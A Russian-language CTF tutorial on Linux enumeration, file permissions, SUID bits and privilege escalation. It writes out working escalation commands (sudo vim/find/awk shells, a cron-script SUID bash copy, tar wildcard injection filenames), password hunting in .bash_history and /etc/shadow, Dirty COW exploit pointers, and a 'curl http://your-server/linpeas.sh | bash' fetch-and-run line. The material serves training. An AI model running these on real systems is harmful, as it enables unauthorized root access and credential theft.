
На своём третьем CTF я получил reverse shell на машину HackTheBox и завис на 47 минут. Не потому что таск был сложным — я просто не знал, что cat /etc/crontab покажет задачи, запускаемые от root, а скрипт в одной из них доступен на запись любому пользователю. Три команды до root-флага. Три. А я сидел и гуглил «linux privilege escalation cheatsheet». С тех пор правило одно: прежде чем лезть в эксплойты, разберись с тем, что уже есть в системе. Эта статья — тот самый фундамент Linux для CTF, которого мне тогда не хватало.
Вы получили доступ к машине — через веб-уязвимость, SSH или reverse shell. Первое желание — сразу искать флаг. Не поддавайтесь. Enumeration (разведка системы) определяет весь дальнейший путь. В терминах MITRE ATT&CK это System Information Discovery (T1082) и File and Directory Discovery (T1083) — систематический сбор информации перед активными действиями. Подробнее — в нашем подробном разборе linux для пентестера.
Начинайте с трёх вопросов: кто я, где я, что здесь есть.
Кто я? whoami покажет имя текущего пользователя. id даст больше — UID, GID и список групп. Группы тут критичны: членство в docker, lxd или disk — это почти гарантированная эскалация привилегий Linux до root.
Где я? hostname выдаст имя машины, uname -a — версию ядра и архитектуру, cat /etc/os-release — дистрибутив. Версия ядра особенно важна: старые ядра (до 4.8.3) уязвимы к Dirty COW (CVE-2016-5195), о которой подробнее в разделе про kernel exploits.
Что здесь есть? Файл /etc/passwd покажет всех пользователей системы — это техника /etc/passwd and /etc/shadow (T1003.008, Credential Access). Обращайте внимание на пользователей с UID выше 1000 — они не системные, а реальные. Пользователь с UID 0 кроме root — аномалия и вектор атаки.
Следом — процессы. ps aux | grep root покажет сервисы, работающие от root. Устаревший софт среди них (Nagios ниже 4.2.4, например — CVE-2016-9566, локальная эскалация через symlink-атаку на лог-файл) — потенциальная точка входа.
whoami
id
uname -a
cat /etc/os-release
cat /etc/passwd | grep -v nologin
sudo -l
ls -la /home/
cat /etc/crontab
Эту последовательность доведите до автоматизма. Каждая команда занимает секунды, но вместе они дают полную картину. По данным HTB Academy, проверка домашних директорий других пользователей (ls -la /home/) — один из самых результативных шагов: там часто валяются SSH-ключи, конфиги с паролями и .bash_history с командами, которые выполнялись ранее — включая пароли в открытом виде (T1552.003 Shell History, Credential Access).
| Команда | Что даёт | ATT&CK Technique |
|---|---|---|
whoami / id |
Текущий пользователь, группы | T1082 System Information Discovery |
uname -a |
Версия ядра, архитектура | T1082 System Information Discovery |
cat /etc/passwd |
Список пользователей системы | T1003.008 /etc/passwd and /etc/shadow |
sudo -l |
Доступные sudo-команды | T1548.003 Sudo and Sudo Caching |
ps aux \| grep root |
Процессы от root | T1082 System Information Discovery |
ls -la /home/ |
Домашние директории | T1083 File and Directory Discovery |
cat /etc/crontab |
Запланированные задачи | T1083 File and Directory Discovery |
Девять из десяти новичков путают chmod и chown, не понимают разницу между SUID и sudo, не знают, зачем нужен Sticky Bit. На CTF это стоит флагов: задачи на privilege escalation строятся именно на тонкостях системы прав доступа Linux.
Каждый файл и директория в Linux имеют три группы прав: для владельца (owner), группы (group) и остальных (others). Каждой группе назначаются три типа: чтение (r), запись (w) и исполнение (x).
Запустите ls -la — увидите строку вида -rwxr-xr--. Разбор:
| Позиция | Значение | Пример |
|---|---|---|
| 1 | Тип: - файл, d директория, l ссылка |
- |
| 2-4 | Права владельца | rwx (всё разрешено) |
| 5-7 | Права группы | r-x (чтение и исполнение) |
| 8-10 | Права остальных | r-- (только чтение) |
Для файлов интуитивно: r — можно прочитать содержимое, w — можно изменить, x — можно запустить как программу. А вот для директорий — нюанс, на котором спотыкаются новички: x на директории — возможность войти в неё через cd, r — возможность перечислить содержимое через ls. Директория с r, но без x — вы видите названия файлов, но не можете к ним обратиться. Директория с x, но без r — можете обращаться к файлам по имени, но не видите список. Запомните эту разницу — на CTF она всплывает регулярно.
chmod меняет права. Числовая нотация: r=4, w=2, x=1, значения складываются. chmod 755 script.sh — владелец получает полные права (7=4+2+1), группа и остальные — чтение с исполнением (5=4+0+1). chown меняет владельца: chown user:group file.
Типичная ошибка: новичок видит файл, принадлежащий root с правами 777, и пытается менять владельца через chown. Не нужно — если права 777, файл уже доступен всем на запись. chmod меняет разрешения, chown — владельца. Разные операции.
/etc/passwd в нормальной конфигурации имеет права -rw-r--r-- — root может читать и писать, все остальные — только читать. Как описывает Delinea, именно поэтому /etc/passwd доступен любому пользователю для просмотра, но записать в него может только root. Обнаружили /etc/passwd с правами на запись для вашего пользователя — это прямой путь к root: достаточно добавить строку с UID 0.
/etc/shadow защищён строже: -rw-r-----, читать его могут только root и shadow-группа. Там хранятся хеши паролей. Получили доступ к /etc/shadow — выгружайте хеши и запускайте перебор через hashcat или john.
Специальные биты прав — основа большинства CTF-задач на эскалацию привилегий. MITRE ATT&CK описывает их эксплуатацию как Setuid and Setgid (T1548.001, Privilege Escalation).
SUID (Set User ID) — при запуске файла процесс выполняется с правами владельца файла, а не того, кто его запустил. Файл принадлежит root и на нём стоит SUID — любой пользователь запускает его с правами root. В выводе ls -la SUID отображается как s вместо x в позиции владельца: -rwsr-xr-x.
Типовой пример: /usr/bin/passwd. Обычный пользователь запускает passwd для смены пароля — программа должна записать новый хеш в /etc/shadow, а тот принадлежит root. SUID на /usr/bin/passwd решает задачу: процесс временно получает права root для записи.
Проблема возникает, когда SUID стоит на бинарниках с возможностью произвольного выполнения команд. find, vim, bash, python, nmap с SUID — прямой путь к root. Полный список таких бинарников с конкретными командами эксплуатации собран на GTFOBins (gtfobins.github.io). SUID на bash — выполняете /bin/bash -p и получаете root shell. Всё.
SGID (Set Group ID) работает аналогично, но для группы. Процесс получает права группы-владельца файла.
Sticky Bit — обычно стоит на /tmp. Файлы в директории может удалить только их владелец, даже если у других есть права на запись. В выводе ls -la отображается как t в позиции остальных: drwxrwxrwt.
| Бит | Числовое значение | На файле | На директории |
|---|---|---|---|
| SUID | 4000 | Запуск от имени владельца | Нет эффекта |
| SGID | 2000 | Запуск от имени группы | Новые файлы наследуют группу |
| Sticky | 1000 | Нет эффекта | Удалять может только владелец |
find — главный инструмент поиска файлов в Linux для CTF. С его помощью ищут SUID-бинарники, writable-файлы, конфигурации с паролями и сами флаги. В MITRE ATT&CK это File and Directory Discovery (T1083, Discovery).
Ключевые паттерны, которые покрывают 90% задач:
Поиск SUID-бинарников — первое, что делаете после базового enumeration. Как отмечает StrongDM, SUID binary exploitation остаётся одним из самых частых векторов эскалации привилегий. Команда: find / -perm -4000 -type f 2>/dev/null. Разбор: / — от корня, -perm -4000 — установленный SUID-бит, -type f — только файлы, 2>/dev/null — подавить ошибки доступа к закрытым директориям.
Поиск writable-файлов — мисконфигурации: find / -writable -type f -user root 2>/dev/null. Writable-скрипты, принадлежащие root (особенно из cron) — прямой вектор эскалации.
Поиск по имени — когда ищете флаг: find / -name "flag*" -type f 2>/dev/null.
Поиск по времени модификации — если знаете, что таск недавно настроен: find / -mmin -30 -type f 2>/dev/null найдёт файлы, изменённые за последние 30 минут.
Поиск файлов с широкими правами в конкретных директориях: find /opt -perm -o=w -type f 2>/dev/null — файлы с правами записи для «остальных» в /opt.
# SUID-бинарники (первый приоритет)
find / -perm -4000 -type f 2>/dev/null
# Writable файлы root (cron-скрипты, конфиги)
find / -writable -type f -user root 2>/dev/null
# Capabilities — тонкая настройка привилегий
getcap -r / 2>/dev/null
find ищет файлы, grep ищет содержимое. В CTF grep решает две задачи: обнаружение флагов и поиск учётных данных (T1552.001 Credentials In Files, Credential Access).
Рекурсивный поиск строки: grep -ri "flag{" /home/ 2>/dev/null. Флаг -r — рекурсия по поддиректориям, -i — игнорировать регистр.
Поиск паролей в конфигурациях: grep -ri "password" /etc/ /var/www/ /opt/ 2>/dev/null. Отдельно проверяйте grep -ri "password" /home/*/.bash_history 2>/dev/null — пользователи нередко вводят пароли прямо в командной строке Linux. По данным HTB Academy, проверка .bash_history — один из самых результативных методов поиска credentials на CTF-машинах.
Полезная комбинация find и grep: find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null — сначала находит все .conf-файлы, затем проверяет, содержат ли они слово «password», и выводит только имена файлов с совпадением.
Для поиска IP-адресов в логах: grep -rE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /var/log/. Regex-паттерны в grep расширяют возможности разведки и поиска нестандартных артефактов.
Enumeration завершён, система изучена — пора переходить к привилескам. Разберём основные векторы, которые работают в большинстве CTF-тасков для начинающих пентестеров.
sudo -l показывает, какие программы текущий пользователь может запускать с повышенными sudo-правами. Это техника Sudo and Sudo Caching (T1548.003, Privilege Escalation) — и одновременно первое, что стоит проверять.
Типичный вывод на CTF-машине: «User user1 may run the following commands: (root) NOPASSWD: /usr/bin/vim». NOPASSWD — пароль не нужен. А vim с правами root — мгновенная эскалация: запускаете sudo vim, внутри редактора набираете :!bash — и получаете root shell. Вот так просто.
Другой частый случай: sudo find / -exec /bin/bash \; -quit. Для awk: sudo awk 'BEGIN {system("/bin/bash")}'. Полный каталог бинарников с командами эксплуатации через sudo собран на GTFOBins — там указан конкретный синтаксис для каждой утилиты.
Отдельный сценарий: sudo -l показывает (ALL) ALL без NOPASSWD. Можете запускать любую команду от root, но нужен пароль текущего пользователя. Знаете его — sudo su и задача решена.
Ещё один вектор: если в sudoers сохраняется переменная LD_PRELOAD (видно в выводе sudo -l как env_keep+=LD_PRELOAD), можно создать вредоносную shared library и подгрузить её при запуске любой разрешённой sudo-команды. Этот трюк срабатывает чаще, чем можно подумать.
Cron — планировщик задач Linux. Если cron-задача запускает скрипт от root, а скрипт доступен на запись обычному пользователю — эскалация тривиальна. Проверяйте cat /etc/crontab, содержимое /etc/cron.d/, /etc/cron.daily/ и пользовательские задачи через crontab -l.
Конкретный сценарий: в /etc/crontab строка * * * * * root /opt/scripts/backup.sh. Скрипт принадлежит root, но имеет права 777. Дописываете в него команду, создающую копию bash с SUID-битом: cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash. Через минуту cron выполняет скрипт от root. Запускаете /tmp/rootbash -p — root shell готов.
Другой вектор: cron-задача вызывает бинарник без абсолютного пути (например, tar вместо /usr/bin/tar). Согласно StrongDM, PATH variable manipulation работает именно когда программы вызываются без полного пути — создаёте свой скрипт с таким именем в директории, которая стоит раньше в PATH.
Ещё один приём, который часто упускают — wildcard injection. Если cron-задача выполняет tar cf /backup/archive.tar * в директории, куда вы можете писать — через создание файлов с именами --checkpoint=1 и --checkpoint-action=exec=sh shell.sh добьётесь выполнения произвольного кода от root. Красиво, правда?
Kernel exploits — последний рубеж. Они эксплуатируют уязвимости в самом ядре и дают root напрямую. Но это крайний вариант: эксплойт ядра может уронить систему, а на CTF — обнулить прогресс.
Самый известный пример — Dirty COW (CVE-2016-5195). По данным NVD, это race condition в mm/gup.c ядер Linux 2.x–4.x до версии 4.8.3. Уязвимость позволяет локальному пользователю записывать в read-only memory mapping через некорректную обработку механизма copy-on-write. CVSS: 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H — локальная атака, высокая сложность (AC:H), нужны минимальные привилегии (PR:L), действия пользователя не требуются (UI:N). CWE-362 (Race Condition). Уязвимость эксплуатировалась in the wild с октября 2016 года и включена в каталог CISA KEV с решением SSVC: Act — патчить немедленно. EPSS-скоринг — 0.8352, percentile 0.9968, что соответствует Top 1%.
На Exploit-DB опубликованы верифицированные PoC: EDB-40611 (метод записи через /proc/self/mem, автор Phil Oester), EDB-40616 (SUID-метод, автор Robin Verton), EDB-40847 (метод через /etc/passwd, автор Gabriele Bonacini). На GitHub — репозиторий scumjr/dirtycow-vdso (511 звёзд).
Алгоритм: выполняете uname -r, сверяете версию ядра с диапазоном уязвимых. Для Dirty COW — ядра до 4.8.3. Подходит — скачиваете PoC, компилируете на целевой машине, запускаете. Метод через /etc/passwd (EDB-40847) позволяет добавить пользователя с UID 0 — второй root-аккаунт.
Kernel exploit — не первый шаг. Сначала проверяете sudo, SUID, cron, writable-файлы. Ядро — когда остальные векторы закрыты. В реальных CTF от HackTheBox и TryHackMe kernel exploit обычно прямо подразумевается заданием — часто стоит hint на версию ядра.
Всё описанное выше можно ускорить. LinPEAS — Bash-скрипт, который выполняет сотни проверок за минуту: SUID-бинарники, writable-файлы, sudo-конфигурацию, cron-задачи, capabilities, docker-сокеты, NFS-шары. Результат размечен цветом — красным и жёлтым выделены самые перспективные находки.
Альтернатива — linux-smart-enumeration (LSE). Работает в трёх режимах: уровень 0 показывает только критичные результаты, уровень 2 — полный дамп. LSE компактнее LinPEAS и быстрее крутится на слабых машинах.
Зачем тогда учить bash-команды для пентеста вручную, если есть автоматизация? Три причины.
Первая: на CTF-машине может не быть возможности загрузить скрипт — нет curl, нет wget, исходящие соединения заблокированы. Ручные команды в Linux командной строке работают всегда, потому что find, grep, cat есть в любой системе.
Вторая: автоматические инструменты генерируют огромный вывод. LinPEAS выдаёт тысячи строк — без понимания, что такое SUID или capability, цветная подсветка не поможет. Красная строка бесполезна, если не знаешь, почему она красная.
Третья: на реальном пентесте запуск LinPEAS создаёт заметный шум — сотни обращений к файловой системе, чтение /proc, перебор PATH. Мониторинг заметит. Ручной enumeration точечный и тихий.
На практике: на CTF используйте оба подхода. Сначала ручной enumeration по таблице из начала статьи — 2-3 минуты. Затем LinPEAS: загружайте через curl http://your-server/linpeas.sh | bash или перенесите через base64 (кодируете на своей машине, вставляете на целевой, декодируете и запускаете).
Capabilities заслуживают отдельного упоминания. getcap -r / 2>/dev/null ищет бинарники с установленными capabilities. Если python3 имеет cap_setuid+ep — это прямая эскалация до root. Capabilities тоньше SUID: они дают не полные права root, а конкретные привилегии — работу с сетью, смену UID и т.д. LinPEAS проверяет их автоматически, но понимание механизма экономит время при анализе результатов.
Я начинал с того, что запускал LinPEAS и шёл по красным строкам. Работало в половине случаев. Когда стал понимать, что именно ищет скрипт — эффективность выросла кратно. На машине средней сложности от HTB трачу 10-15 минут на enumeration вместо часа.
Основная ошибка новичков в CTF — бросаться к сложным эксплойтам, не проверив очевидное. Writable /etc/passwd, SUID на python, sudo vim без пароля — эти векторы встречаются в каждом втором таске начального и среднего уровня. За полтора года решения машин на TryHackMe и HackTheBox kernel exploit мне понадобился раз пять. Sudo и SUID — раз пятьдесят. Приоритеты очевидны.
Ещё одна вещь: после каждого решённого таска записывайте, какие команды сработали и почему. Через месяц ваш enumeration станет автоматическим — руки сами набирают нужную последовательность, а голова уже анализирует вывод. Собственный playbook из 7-8 проверенных векторов закрывает подавляющее большинство задач, а если хотите отработать эти цепочки на живых машинах — на IB Basics в Codeby School эту базу проходят с лабами, чтобы не ковыряться в Kali в одиночку.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...